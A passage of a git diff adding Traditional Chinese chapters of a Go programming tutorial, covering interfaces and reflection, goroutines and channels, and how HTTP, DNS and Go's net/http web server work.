的變數裡面可以儲存任意型別的數值(該型別實現了 interface)。那麼我們怎麼反向知道這個變數裡面實際儲存了的是哪個型別的物件呢?目前常用的有兩種方法: + +- Comma-ok 斷言 + + Go 語言裡面有一個語法,可以直接判斷是否是該型別的變數: value, ok = element.(T),這裡 value 就是變數的值,ok 是一個 bool 型別,element 是 interface 變數,T 是斷言的型別。 + + 如果 element 裡面確實儲存了 T 型別的數值,那麼 ok 回傳 true,否則回傳 false。 + + 讓我們透過一個例子來更加深入的理解。 + +```Go + + package main + + import ( + "fmt" + "strconv" + ) + + type Element interface{} + type List [] Element + + type Person struct { + name string + age int + } + + // 定義了 String 方法,實現了 fmt.Stringer + func (p Person) String() string { + return "(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)" + } + + func main() { + list := make(List, 3) + list[0] = 1 // an int + list[1] = "Hello" // a string + list[2] = Person{"Dennis", 70} + + for index, element := range list { + if value, ok := element.(int); ok { + fmt.Printf("list[%d] is an int and its value is %d\n", index, value) + } else if value, ok := element.(string); ok { + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + } else if value, ok := element.(Person); ok { + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + } else { + fmt.Printf("list[%d] is of a different type\n", index) + } + } + } +``` + 是不是很簡單啊,同時你是否注意到了多個 if 裡面,還記得我前面介紹流程時講過,if 裡面允許初始化變數。 + + 也許你注意到了,我們斷言的型別越多,那麼 if else 也就越多,所以才引出了下面要介紹的 switch。 +- switch 測試 + + 最好的講解就是程式碼例子,現在讓我們重寫上面的這個實現: + +```Go + + package main + + import ( + "fmt" + "strconv" + ) + + type Element interface{} + type List [] Element + + type Person struct { + name string + age int + } + + // 列印 + func (p Person) String() string { + return "(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)" + } + + func main() { + list := make(List, 3) + list[0] = 1 //an int + list[1] = "Hello" //a string + list[2] = Person{"Dennis", 70} + + for index, element := range list{ + switch value := element.(type) { + case int: + fmt.Printf("list[%d] is an int and its value is %d\n", index, value) + case string: + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + case Person: + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + default: + fmt.Println("list[%d] is of a different type", index) + } + } + } +``` + 這裡有一點需要強調的是:`element.(type)` 語法不能在 switch 外的任何邏輯裡面使用,如果你要在 switch 外面判斷一個型別就使用 `comma-ok`。 + +### 嵌入 interface + +Go 裡面真正吸引人的是它內建的邏輯語法,就像我們在學習 Struct 時學習的匿名欄位,多麼的優雅啊,那麼相同的邏輯引入到 interface 裡面,那不是更加完美了。如果一個 interface1 作為 interface2 的一個嵌入欄位,那麼 interface2 隱式的包含了 interface1 裡面的 method。 + +我們可以看到原始碼套件 container/heap 裡面有這樣的一個定義 + +```Go + +type Interface interface { + sort.Interface // 嵌入欄位 sort.Interface + Push(x interface{}) // a Push method to push elements into the heap + Pop() interface{} // a Pop elements that pops elements from the heap +} +``` +我們看到 sort.Interface 其實就是嵌入欄位,把 sort.Interface 的所有 method 給隱式的包含進來了。也就是下面三個方法: + +```Go + +type Interface interface { + // Len is the number of elements in the collection. + Len() int + // Less returns whether the element with index i should sort + // before the element with index j. + Less(i, j int) bool + // Swap swaps the elements with indexes i and j. + Swap(i, j int) +} +``` +另一個例子就是 io 套件下面的 io.ReadWriter ,它包含了 io 套件下面的 Reader 和 Writer 兩個 interface: + +```Go + +// io.ReadWriter +type ReadWriter interface { + Reader + Writer +} +``` +### 反射 +Go 語言實現了反射,所謂反射就是能檢查程式在執行時的狀態。我們一般用到的套件是 reflect 套件。如何運用 reflect 套件,官方的這篇文章詳細的講解了 reflect 套件的實現原理,[laws of reflection](http://golang.org/doc/articles/laws_of_reflection.html) + +使用 reflect 一般分成三步,下面簡要的講解一下:要去反射是一個型別的值(這些值都實現了空 interface),首先需要把它轉化成 reflect 物件(reflect.Type 或者 reflect.Value,根據不同的情況呼叫不同的函式)。這兩種取得方式如下: + +```Go + +t := reflect.TypeOf(i) // 得到型別的 Meta 資料,透過 t 我們能取得型別定義裡面的所有元素 +v := reflect.ValueOf(i) // 得到實際的值,透過 v 我們取得儲存在裡面的值,還可以去改變值 +``` +轉化為 reflect 物件之後我們就可以進行一些操作了,也就是將 reflect 物件轉化成相應的值,例如: + +```Go + +tag := t.Elem().Field(0).Tag // 取得定義在 struct 裡面的標籤 +name := v.Elem().Field(0).String() // 取得儲存在第一個欄位裡面的值 +``` +取得反射值能回傳相應的型別和數值: + +```Go + +var x float64 = 3.4 +v := reflect.ValueOf(x) +fmt.Println("type:", v.Type()) +fmt.Println("kind is float64:", v.Kind() == reflect.Float64) +fmt.Println("value:", v.Float()) +``` +最後,反射的話,那麼反射的欄位必須是可修改的,我們前面學習過傳值和傳參考,這個裡面也是一樣的道理。反射的欄位必須是可讀寫的意思是,如果下面這樣寫,那麼會發生錯誤: + +```Go + +var x float64 = 3.4 +v := reflect.ValueOf(x) +v.SetFloat(7.1) +``` +如果要修改相應的值,必須這樣寫: + +```Go + +var x float64 = 3.4 +p := reflect.ValueOf(&x) +v := p.Elem() +v.SetFloat(7.1) +``` +上面只是對反射的簡單介紹,更深入的理解還需要自己在程式設計中不斷的實踐。 + +## links + * [目錄]() + * 上一節:[物件導向](<02.5.md>) + * 下一節:[併發](<02.7.md>) diff --git a/zh-tw/02.7.md b/zh-tw/02.7.md new file mode 100644 index 000000000..7f732dbeb --- /dev/null +++ b/zh-tw/02.7.md @@ -0,0 +1,266 @@ +# 2.7 併發 + +有人把 Go 比作 21 世紀的 C 語言,第一是因為 Go 語言設計簡單,第二,21 世紀最重要的就是並行程式設計,而 Go 從語言層面就支援了並行。 + +## goroutine + +goroutine 是 Go 並行設計的核心。goroutine 說到底其實就是[協程](https://zh.wikipedia.org/wiki/%E5%8D%8F%E7%A8%8B) (Coroutine),但是它比執行緒更小,十幾個 goroutine 可能體現在底層就是五六個執行緒,Go 語言內部幫你實現了這些 goroutine 之間的記憶體共享。執行 goroutine 只需極少的棧記憶體(大概是 4~5KB),當然會根據相應的資料伸縮。也正因為如此,可同時執行成千上萬個併發任務。goroutine 比 thread 更易用、更高效、更輕便。 + +goroutine 是透過 Go 的 runtime 管理的一個執行緒管理器。goroutine 透過 `go` 關鍵字實現了,其實就是一個普通的函式。 + +```Go + +go hello(a, b, c) +``` +透過關鍵字 go 就啟動了一個 goroutine。我們來看一個例子: + +```Go + +package main + +import ( + "fmt" + "runtime" +) + +func say(s string) { + for i := 0; i < 5; i++ { + runtime.Gosched() + fmt.Println(s) + } +} + +func main() { + go say("world") //開一個新的 Goroutines 執行 + say("hello") //當前 Goroutines 執行 +} + +// 以上程式執行後將輸出: +// hello +// world +// hello +// world +// hello +// world +// hello +// world +// hello +``` +我們可以看到 go 關鍵字很方便的就實現了併發程式設計。 +上面的多個 goroutine 執行在同一個程序裡面,共享記憶體資料,不過設計上我們要遵循:不要透過共享來通訊,而要透過通訊來共享。 + +> runtime.Gosched() 表示讓 CPU 把時間片讓給別人,下次某個時候繼續恢復執行該 goroutine。 + +>預設情況下,在 Go 1.5 將標識併發系統執行緒個數的 runtime.GOMAXPROCS 的初始值由 1 改為了執行環境的 CPU 核數。 + +但在 Go 1.5 以前排程器僅使用單執行緒,也就是說只實現了併發。想要發揮多核處理器的並行,需要在我們的程式中明確的呼叫 runtime.GOMAXPROCS(n) 告訴排程器同時使用多個執行緒。GOMAXPROCS 設定了同時執行邏輯程式碼的系統執行緒的最大數量,並回傳之前的設定。如果 n < 1,不會改變當前設定。 + +## channels +goroutine 執行在相同的地址空間,因此訪問共享記憶體必須做好同步。那麼 goroutine 之間如何進行資料的通訊呢?Go 提供了一個很好的通訊機制 channel。channel 可以與 Unix shell 中的雙向管道做類別比:可以透過它傳送或者接收值。這些值只能是特定的型別:channel 型別。定義一個 channel 時,也需要定義傳送到 channel 的值的型別。注意,必須使用 make 建立 channel: + +```Go + +ci := make(chan int) +cs := make(chan string) +cf := make(chan interface{}) +``` +channel 透過運算子 `<-` 來接收和傳送資料: + +```Go + +ch <- v // 傳送 v 到 channel ch. +v := <-ch // 從 ch 中接收資料,並賦值給 v +``` + +我們把這些應用到我們的例子中來: + +```Go + +package main + +import "fmt" + +func sum(a []int, c chan int) { + total := 0 + for _, v := range a { + total += v + } + c <- total // send total to c +} + +func main() { + a := []int{7, 2, 8, -9, 4, 0} + + c := make(chan int) + go sum(a[:len(a)/2], c) + go sum(a[len(a)/2:], c) + x, y := <-c, <-c // receive from c + + fmt.Println(x, y, x + y) +} +``` +預設情況下,channel 接收和傳送資料都是阻塞的,除非另一端已經準備好,這樣就使得 Goroutines 同步變的更加的簡單,而不需要明確的 lock。所謂阻塞,也就是如果讀取(value := <-ch)它將會被阻塞,直到有資料接收。其次,任何傳送(ch<-5)將會被阻塞,直到資料被讀出。無緩衝 channel 是在多個 goroutine 之間同步很棒的工具。 + +## Buffered Channels +上面我們介紹了預設的非快取型別的 channel,不過 Go 也允許指定 channel 的緩衝大小,很簡單,就是 channel 可以儲存多少元素。ch:= make(chan bool, 4),建立了可以儲存 4 個元素的 bool 型 channel。在這個 channel 中,前 4 個元素可以無阻塞的寫入。當寫入第 5 個元素時,程式碼將會阻塞,直到其他 goroutine 從 channel 中讀取一些元素,騰出空間。 + +```Go + +ch := make(chan type, value) +``` +當 value = 0 時,channel 是無緩衝阻塞讀寫的,當 value > 0 時,channel 有緩衝、是非阻塞的,直到寫滿 value 個元素才阻塞寫入。 + +我們看一下下面這個例子,你可以在自己本機測試一下,修改相應的 value 值: + +```Go + +package main + +import "fmt" + +func main() { + c := make(chan int, 2) // 修改 2 為 1 就報錯,修改 2 為 3 可以正常執行 + c <- 1 + c <- 2 + fmt.Println(<-c) + fmt.Println(<-c) +} + // 修改為 1 報如下的錯誤: + // fatal error: all goroutines are asleep - deadlock! +``` +## Range 和 Close + +上面這個例子中,我們需要讀取兩次 c,這樣不是很方便,Go 考慮到了這一點,所以也可以透過 range,像操作 slice 或者 map 一樣操作快取型別的 channel,請看下面的例子 + +```Go + +package main + +import ( + "fmt" +) + +func fibonacci(n int, c chan int) { + x, y := 1, 1 + for i := 0; i < n; i++ { + c <- x + x, y = y, x + y + } + close(c) +} + +func main() { + c := make(chan int, 10) + go fibonacci(cap(c), c) + for i := range c { + fmt.Println(i) + } +} +``` +`for i := range c` 能夠不斷的讀取 channel 裡面的資料,直到該 channel 被明確的關閉。上面程式碼我們看到可以明確的關閉 channel,生產者透過內建函式 `close` 關閉 channel。關閉 channel 之後就無法再發送任何資料了,在消費方可以透過語法 `v, ok := <-ch` 測試 channel 是否被關閉。如果 ok 回傳 false,那麼說明 channel 已經沒有任何資料並且已經被關閉。 + +>記住應該在生產者的地方關閉 channel,而不是消費的地方去關閉它,這樣容易引起 panic + + +>另外記住一點的就是 channel 不像檔案之類別的,不需要經常去關閉,只有當你確實沒有任何傳送資料了,或者你想明確的結束 range 迴圈之類別的時候。 + +## Select +我們上面介紹的都是只有一個 channel 的情況,那麼如果存在多個 channel 的時候,我們該如何操作呢,Go 裡面提供了一個關鍵字 `select`,透過 `select` 可以監聽 channel 上的資料流動。 + +`select` 預設是阻塞的,只有當監聽的 channel 中有傳送或接收可以進行時才會執行,當多個 channel 都準備好的時候,select 會隨機選擇其中一個執行。 + +```Go + +package main + +import "fmt" + +func fibonacci(c, quit chan int) { + x, y := 1, 1 + for { + select { + case c <- x: + x, y = y, x + y + case <-quit: + fmt.Println("quit") + return + } + } +} + +func main() { + c := make(chan int) + quit := make(chan int) + go func() { + for i := 0; i < 10; i++ { + fmt.Println(<-c) + } + quit <- 0 + }() + fibonacci(c, quit) +} +``` +在 `select` 裡面還有 default 語法,`select` 其實就是類似 switch 的功能,default 就是當監聽的 channel 都沒有準備好的時候,預設執行的(select 不再阻塞等待 channel)。 + +```Go + +select { +case i := <-c: + // use i +default: + // 當 c 阻塞的時候執行這裡 +} +``` +## 超時 +有時候會出現 goroutine 阻塞的情況,那麼我們如何避免整個程式進入阻塞的情況呢?我們可以利用 select 來設定超時,透過如下的方式實現: + +```Go + +func main() { + c := make(chan int) + o := make(chan bool) + go func() { + for { + select { + case v := <- c: + println(v) + case <- time.After(5 * time.Second): + println("timeout") + o <- true + break + } + } + }() + <- o +} +``` + +## runtime goroutine +runtime 套件中有幾個處理 goroutine 的函式: + +- Goexit + + 退出當前執行的 goroutine,但是 defer 函式還會繼續呼叫 + +- Gosched + + 讓出當前 goroutine 的執行許可權,排程器安排其他等待的任務執行,並在下次某個時候從該位置恢復執行。 + +- NumCPU + + 回傳 CPU 核數量 + +- NumGoroutine + + 回傳正在執行和排隊的任務總數 + +- GOMAXPROCS + + 用來設定可以平行計算的 CPU 核數的最大值,並回傳之前的值。 + + + +## links + * [目錄]() + * 上一節:[interface](<02.6.md>) + * 下一節:[總結](<02.8.md>) diff --git a/zh-tw/02.8.md b/zh-tw/02.8.md new file mode 100644 index 000000000..5f1aa39f0 --- /dev/null +++ b/zh-tw/02.8.md @@ -0,0 +1,32 @@ +# 2.8 總結 + +這一章我們主要介紹了 Go 語言的一些語法,透過語法我們可以發現 Go 是多麼的簡單,只有二十五個關鍵字。讓我們再來回顧一下這些關鍵字都是用來幹什麼的。 + +```Go +break default func interface select +case defer go map struct +chan else goto package switch +const fallthrough if range type +continue for import return var +``` +- var 和 const 參考 2.2 Go 語言基礎裡面的變數和常數宣告 +- package 和 import 已經有過短暫的接觸 +- func 用於定義函式和方法 +- return 用於從函式回傳 +- defer 用於類似解構函式 +- go 用於併發 +- select 用於選擇不同型別的通訊 +- interface 用於定義介面,參考 2.6 小節 +- struct 用於定義抽象資料型別,參考 2.5 小節 +- break、case、continue、for、fallthrough、else、if、switch、goto、default 這些參考 2.3 流程介紹裡面 +- chan 用於 channel 通訊 +- type 用於宣告自訂型別 +- map 用於宣告 map 型別資料 +- range 用於讀取 slice、map、channel 資料 + +上面這二十五個關鍵字記住了,那麼 Go 你也已經差不多學會了。 + +## links + * [目錄]() + * 上一節:[併發](<02.7.md>) + * 下一章:[Web 基礎](<03.0.md>) diff --git a/zh-tw/03.0.md b/zh-tw/03.0.md new file mode 100644 index 000000000..8bb49309e --- /dev/null +++ b/zh-tw/03.0.md @@ -0,0 +1,11 @@ +# 3 Web 基礎 + +學習基於 Web 的程式設計可能正是你讀本書的原因。事實上,如何透過 Go 來編寫 Web 應用也是我編寫這本書的初衷。前面已經介紹過,Go 目前已經擁有了成熟的 HTTP 處理套件,這使得編寫能做任何事情的動態 Web 程式易如反掌。在接下來的各章中將要介紹的內容,都是屬於 Web 程式設計的範疇。本章則集中討論一些與 Web 相關的概念和 Go 如何執行 Web 程式的話題。 + +## 目錄 +![](images/navi3.png) + +## links + * [目錄]() + * 上一章:[第二章總結](<02.8.md>) + * 下一節:[Web 工作方式](<03.1.md>) diff --git a/zh-tw/03.1.md b/zh-tw/03.1.md new file mode 100644 index 000000000..dca61f8b2 --- /dev/null +++ b/zh-tw/03.1.md @@ -0,0 +1,163 @@ +# 3.1 Web 工作方式 + +我們平時瀏覽網頁的時候,會開啟瀏覽器,輸入網址後按下回車鍵,然後就會顯示出你想要瀏覽的內容。在這個看似簡單的使用者行為背後,到底隱藏了些什麼呢? + +對於普通的上網過程,系統其實是這樣做的:瀏覽器本身是一個客戶端,當你輸入 URL 的時候,首先瀏覽器會去請求 DNS 伺服器,透過 DNS 取得相應的域名對應的 IP,然後透過 IP 地址找到 IP 對應的伺服器後,要求建立 TCP 連線,等瀏覽器傳送完 HTTP Request(請求)封包後,伺服器接收到請求封包之後才開始處理請求封包,伺服器呼叫自身服務,回傳 HTTP Response 內容;客戶端收到來自伺服器的回應後開始渲染這個 Response 套件裡的主體(body),等收到全部的內容隨後斷開與該伺服器之間的 TCP 連線。 + +![](images/3.1.web2.png) + +圖 3.1 使用者訪問一個 Web 站點的過程 + + 一個 Web 伺服器也被稱為 HTTP 伺服器,它透過 HTTP 協議與客戶端通訊。這個客戶端通常指的是 Web 瀏覽器(其實手機端客戶端內部也是瀏覽器實現的)。 + +Web 伺服器的工作原理可以簡單地歸納為: + +- 客戶端透過 TCP/IP 協議建立到伺服器的 TCP 連線 +- 客戶端向伺服器傳送 HTTP 協議請求封包,請求伺服器裡的資源文件 +- 伺服器向客戶端發送 HTTP 協議回應封包,如果請求的資源包含有動態語言的內容,那麼伺服器會呼叫動態語言的解釋引擎負責處理“動態內容”,並將處理得到的資料回傳給客戶端 +- 客戶端與伺服器斷開。由客戶端解釋 HTML 文件,在客戶端螢幕上渲染圖形結果 + +一個簡單的 HTTP 事務就是這樣實現的,看起來很複雜,原理其實是挺簡單的。需要注意的是客戶端與伺服器之間的通訊是非持久連線的,也就是當伺服器傳送了回應後就與客戶端斷開連線,等待下一次請求。 + +## URL 和 DNS 解析 +我們瀏覽網頁都是透過 URL 訪問的,那麼 URL 到底是怎麼樣的呢? + +URL(Uniform Resource Locator)是“統一資源定位符”的英文縮寫,用於描述一個網路上的資源, 基本格式如下 + + scheme://host[:port#]/path/.../[?query-string][#anchor] + scheme 指定底層使用的協議(例如:http, https, ftp) + host HTTP 伺服器的 IP 地址或者域名 + port# HTTP 伺服器的預設埠是 80,這種情況下埠號可以省略。如果使用了別的埠,必須指明,例如 http://www.cnblogs.com:8080/ + path 訪問資源的路徑 + query-string 傳送給 http 伺服器的資料 + anchor 錨 + + DNS(Domain Name System)是“域名系統”的英文縮寫,是一種組織成域層次結構的計算機和網路服務命名系統,它用於 TCP/IP 網路,它從事將主機名或域名轉換為實際 IP 地址的工作。DNS 就是這樣的一位“翻譯官”,它的基本工作原理可用下圖來表示。 + +![](images/3.1.dns_hierachy.png) + +圖 3.2 DNS 工作原理 + +更詳細的 DNS 解析的過程如下,這個過程有助於我們理解 DNS 的工作模式 + +1. 在瀏覽器中輸入 www.qq.com 域名,作業系統會先檢查自己本地的 hosts 檔案是否有這個網址對映關係,如果有,就先呼叫這個 IP 地址對映,完成域名解析。 + +2. 如果 hosts 裡沒有這個域名的對映,則查詢本地 DNS 解析器快取,是否有這個網址對映關係,如果有,直接回傳,完成域名解析。 + +3. 如果 hosts 與本地 DNS 解析器快取都沒有相應的網址對映關係,首先會找 TCP/IP 參數中設定的首選 DNS 伺服器,在此我們叫它本地 DNS 伺服器,此伺服器收到查詢時,如果要查詢的域名,包含在本地配置區域資源中,則回傳解析結果給客戶端,完成域名解析,此解析具有權威性。 + +4. 如果要查詢的域名,不由本地 DNS 伺服器區域解析,但該伺服器已快取了此網址對映關係,則呼叫這個 IP 地址對映,完成域名解析,此解析不具有權威性。 + +5. 如果本地 DNS 伺服器本地區域檔案與快取解析都失效,則根據本地 DNS 伺服器的設定(是否設定轉發器)進行查詢,如果未用轉發模式,本地 DNS 就把請求發至 “根 DNS 伺服器”,“根 DNS 伺服器”收到請求後會判斷這個域名(.com)是誰來授權管理,並會回傳一個負責該頂級域名伺服器的一個 IP。本地 DNS 伺服器收到 IP 資訊後,將會聯絡負責.com 域的這臺伺服器。這臺負責.com 域的伺服器收到請求後,如果自己無法解析,它就會找一個管理.com 域的下一級 DNS 伺服器地址(qq.com)給本地 DNS 伺服器。當本地 DNS 伺服器收到這個地址後,就會找 qq.com 域伺服器,重複上面的動作,進行查詢,直至找到 www.qq.com 主機。 + +6. 如果用的是轉發模式,此 DNS 伺服器就會把請求轉發至上一級 DNS 伺服器,由上一級伺服器進行解析,上一級伺服器如果不能解析,或找根 DNS 或把轉請求轉至上上級,以此迴圈。不管本地 DNS 伺服器用的是轉發,還是根提示,最後都是把結果回傳給本地 DNS 伺服器,由此 DNS 伺服器再回傳給客戶端。 + +![](images/3.1.dns_inquery.png) + +圖 3.3 DNS 解析的整個流程 + +> 所謂 `遞迴查詢過程` 就是 “查詢的提交者” 更替, 而 `迭代查詢過程` 則是 “查詢的提交者”不變。 +> +> 舉個例子來說,你想知道某個一起上法律課的女孩的電話,並且你偷偷拍了她的照片,回到寢室告訴一個很仗義的哥們兒,這個哥們兒二話沒說,拍著胸脯告訴你,甭急,我替你查(此處完成了一次遞迴查詢,即,問詢者的角色更替)。然後他拿著照片問了學院大四學長,學長告訴他,這姑娘是 xx 系的;然後這哥們兒馬不停蹄又問了 xx 系的辦公室主任助理同學,助理同學說是 xx 系 yy 班的,然後很仗義的哥們兒去 xx 系 yy 班的班長那裡取到了該女孩兒電話。(此處完成若干次迭代查詢,即,問詢者角色不變,但反覆更替問詢物件)最後,他把號碼交到了你手裡。完成整個查詢過程。 + +透過上面的步驟,我們最後取得的是 IP 地址,也就是瀏覽器最後發起請求的時候是基於 IP 來和伺服器做資訊互動的。 + +## HTTP 協議詳解 + +HTTP 協議是 Web 工作的核心,所以要了解清楚 Web 的工作方式就需要詳細的了解清楚 HTTP 是怎麼樣工作的。 + +HTTP 是一種讓 Web 伺服器與瀏覽器(客戶端)透過 Internet 傳送與接收資料的協議,它建立在 TCP 協議之上,一般採用 TCP 的 80 埠。它是一個請求、回應協議--客戶端發出一個請求,伺服器回應這個請求。在 HTTP 中,客戶端總是透過建立一個連線與傳送一個 HTTP 請求來發起一個事務。伺服器不能主動去與客戶端聯絡,也不能給客戶端發出一個回呼(Callback)連線。客戶端與伺服器端都可以提前中斷一個連線。例如,當瀏覽器下載一個檔案時,你可以透過點選“停止”鍵來中斷檔案的下載,關閉與伺服器的 HTTP 連線。 + +HTTP 協議是無狀態的,同一個客戶端的這次請求和上次請求是沒有對應關係的,對 HTTP 伺服器來說,它並不知道這兩個請求是否來自同一個客戶端。為了解決這個問題, Web 程式引入了 Cookie 機制來維護連線的可持續狀態。 + +>HTTP 協議是建立在 TCP 協議之上的,因此 TCP 攻擊一樣會影響 HTTP 的通訊,例如比較常見的一些攻擊:SYN Flood 是當前最流行的 DoS(拒絕服務攻擊)與 DdoS(分散式拒絕服務攻擊)的方式之一,這是一種利用 TCP 協議缺陷,傳送大量偽造的 TCP 連線請求,從而使得被攻擊方資源耗盡(CPU 滿負荷或記憶體不足)的攻擊方式。 + +### HTTP 請求封包(瀏覽器資訊) + +我們先來看看 Request 套件的結構, Request 套件分為 3 部分,第一部分叫 Request line(請求行), 第二部分叫 Request header(請求頭),第三部分是 body(主體)。header 和 body 之間有個空行,請求封包的例子所示: + + GET /domains/example/ HTTP/1.1 //請求行: 請求方法 請求 URI HTTP 協議/協議版本 + Host:www.iana.org //伺服器端的主機名 + User-Agent:Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4 //瀏覽器資訊 + Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 //客戶端能接收的 MIME + + Accept-Encoding:gzip,deflate,sdch //是否支援流壓縮 + Accept-Charset:UTF-8,*;q=0.5 //客戶端字元編碼集 + //空行,用於分割請求頭和訊息體 + //訊息體,請求資源參數,例如 POST 傳遞的參數 + +HTTP 協議定義了很多與伺服器互動的請求方法,最基本的有 4 種,分別是 GET,POST,PUT,DELETE。一個 URL 地址用於描述一個網路上的資源,而 HTTP 中的 GET, POST, PUT, DELETE 就對應著對這個資源的查,增,改,刪 4 個操作。我們最常見的就是 GET 和 POST 了。GET 一般用於取得/查詢資源資訊,而 POST 一般用於更新資源資訊。 + +透過 fiddler 抓套件可以看到如下請求資訊: + +![](images/3.1.http.png) + +圖 3.4 fiddler 抓取的 GET 資訊 + +![](images/3.1.httpPOST.png) + +圖 3.5 fiddler 抓取的 POST 資訊 + +我們看看 GET 和 POST 的區別: + +1. 我們可以看到 GET 請求訊息體為空,POST 請求帶有訊息體。 +2. GET 提交的資料會放在 URL 之後,以 `?` 分割 URL 和傳輸資料,參數之間以`&`相連,如`EditPosts.aspx?name=test1&id=123456`。POST 方法是把提交的資料放在 HTTP 套件的 body 中。 +3. GET 提交的資料大小有限制(因為瀏覽器對 URL 的長度有限制),而 POST 方法提交的資料沒有限制。 +4. GET 方式提交資料,會帶來安全問題,比如一個登入頁面,透過 GET 方式提交資料時,使用者名稱和密碼將出現在 URL 上,如果頁面可以被快取或者其他人可以訪問這臺機器,就可以從歷史記錄獲得該使用者的賬號和密碼。 + +### HTTP 回應內容(伺服器資訊) + +我們再來看看 HTTP 的 response 套件,他的結構如下: + + HTTP/1.1 200 OK //狀態行 + Server: nginx/1.0.8 //伺服器使用的 WEB 軟體名及版本 + Date:Date: Tue, 30 Oct 2012 04:14:25 GMT //傳送時間 + Content-Type: text/html //伺服器傳送資訊的型別 + Transfer-Encoding: chunked //表示傳送 HTTP 套件是分段發的 + Connection: keep-alive //保持連線狀態 + Content-Length: 90 //主體內容長度 + //空行 用來分割訊息頭和主體 + 網頁優化方面有一項措施是減少 HTTP 請求次數,就是把儘量多的 css 和 js 資源合併在一起,目的是儘量減少網頁請求靜態資源的次數,提高網頁載入速度,同時減緩伺服器的壓力。 + +## links + + * [目錄]() + * 上一節:[Web 基礎](<03.0.md>) + * 下一節:[Go 建立一個 Web 伺服器](<03.2.md>) diff --git a/zh-tw/03.2.md b/zh-tw/03.2.md new file mode 100644 index 000000000..75598f764 --- /dev/null +++ b/zh-tw/03.2.md @@ -0,0 +1,68 @@ +# 3.2 Go 建立一個 Web 伺服器 + +前面小節已經介紹了 Web 是基於 http 協議的一個服務,Go 語言裡面提供了一個完善的 net/http 套件,透過 http 套件可以很方便的建立起來一個可以執行的 Web 服務。同時使用這個套件能很簡單地對 Web 的路由,靜態檔案,模版,cookie 等資料進行設定和操作。 + +## http 套件建立 Web 伺服器 + +```Go +package main + +import ( + "fmt" + "net/http" + "strings" + "log" +) + +func sayhelloName(w http.ResponseWriter, r *http.Request) { + r.ParseForm() //解析參數,預設是不會解析的 + fmt.Println(r.Form) //這些資訊是輸出到伺服器端的列印資訊 + fmt.Println("path", r.URL.Path) + fmt.Println("scheme", r.URL.Scheme) + fmt.Println(r.Form["url_long"]) + for k, v := range r.Form { + fmt.Println("key:", k) + fmt.Println("val:", strings.Join(v, "")) + } + fmt.Fprintf(w, "Hello astaxie!") //這個寫入到 w 的是輸出到客戶端的 +} + +func main() { + http.HandleFunc("/", sayhelloName) //設定訪問的路由 + err := http.ListenAndServe(":9090", nil) //設定監聽的埠 + if err != nil { + log.Fatal("ListenAndServe: ", err) + } +} +``` + +上面這個程式碼,我們 build 之後,然後執行 web.exe,這個時候其實已經在 9090 埠監聽 http 連結請求了。 + +在瀏覽器輸入`http://localhost:9090` + +可以看到瀏覽器頁面輸出了`Hello astaxie!` + +可以換一個地址試試:`http://localhost:9090/?url_long=111&url_long=222` + +看看瀏覽器輸出的是什麼,伺服器輸出的是什麼? + +在伺服器端輸出的資訊如下: + +![](images/3.2.goweb.png) + +圖 3.8 使用者訪問 Web 之後伺服器端列印的資訊 + +我們看到上面的程式碼,要編寫一個 Web 伺服器很簡單,只要呼叫 http 套件的兩個函式就可以了。 + +>如果你以前是 PHP 程式設計師,那你也許就會問,我們的 nginx、apache 伺服器不需要嗎?Go 就是不需要這些,因為他直接就監聽 tcp 埠了,做了 nginx 做的事情,然後 sayhelloName 這個其實就是我們寫的邏輯函數了,跟 php 裡面的控制層(controller)函式類似。 + +>如果你以前是 Python 程式設計師,那麼你一定聽說過 tornado,這個程式碼和他是不是很像,對,沒錯,Go 就是擁有類似 Python 這樣動態語言的特性,寫 Web 應用很方便。 + +>如果你以前是 Ruby 程式設計師,會發現和 ROR 的/script/server 啟動有點類似。 + +我們看到 Go 透過簡單的幾行程式碼就已經執行起來一個 Web 服務了,而且這個 Web 服務內部有支援高併發的特性,我將會在接下來的兩個小節裡面詳細的講解一下 Go 是如何實現 Web 高併發的。 + +## links + * [目錄]() + * 上一節:[Web 工作方式](<03.1.md>) + * 下一節:[Go 如何使得 web 工作](<03.3.md>) diff --git a/zh-tw/03.3.md b/zh-tw/03.3.md new file mode 100644 index 000000000..1ac75a546 --- /dev/null +++ b/zh-tw/03.3.md @@ -0,0 +1,90 @@ +# 3.3 Go 如何使得 Web 工作 +前面小節介紹了如何透過 Go 建立一個 Web 服務,我們可以看到簡單應用一個 net/http 套件就方便的建立起來了。那麼 Go 在底層到底是怎麼做的呢?萬變不離其宗,Go 的 Web 服務工作也離不開我們第一小節介紹的 Web 工作方式。 + +## web 工作方式的幾個概念 + +以下均是伺服器端的幾個概念 + +Request:使用者請求的資訊,用來解析使用者的請求資訊,包括 post、get、cookie、url 等資訊 + +Response:伺服器需要反饋給客戶端的資訊 + +Conn:使用者的每次請求連結 + +Handler:處理請求和產生回傳資訊的處理邏輯 + +## 分析 http 套件執行機制 + +下圖是 Go 實現 Web 服務的工作模式的流程圖 + +![](images/3.3.http.png) + +圖 3.9 http 套件執行流程 + +1. 建立 Listen Socket, 監聽指定的埠, 等待客戶端請求到來。 + +2. Listen Socket 接受客戶端的請求, 得到 Client Socket, 接下來透過 Client Socket 與客戶端通訊。 + +3. 處理客戶端的請求, 首先從 Client Socket 讀取 HTTP 請求的協議頭, 如果是 POST 方法, 還可能要讀取客戶端提交的資料, 然後交給相應的 handler 處理請求, handler 處理完畢準備好客戶端需要的資料, 透過 Client Socket 寫給客戶端。 + +這整個的過程裡面我們只要了解清楚下面三個問題,也就知道 Go 是如何讓 Web 執行起來了 + +- 如何監聽埠? +- 如何接收客戶端請求? +- 如何分配 handler? + +前面小節的程式碼裡面我們可以看到,Go 是透過一個函式 `ListenAndServe` 來處理這些事情的,這個底層其實這樣處理的:初始化一個 server 物件,然後呼叫了`net.Listen("tcp", addr)`,也就是底層用 TCP 協議建立了一個服務,然後監聽我們設定的埠。 + +下面程式碼來自 Go 的 http 套件的原始碼,透過下面的程式碼我們可以看到整個的 http 處理過程: + +```Go + +func (srv *Server) Serve(l net.Listener) error { + defer l.Close() + var tempDelay time.Duration // how long to sleep on accept failure + for { + rw, e := l.Accept() + if e != nil { + if ne, ok 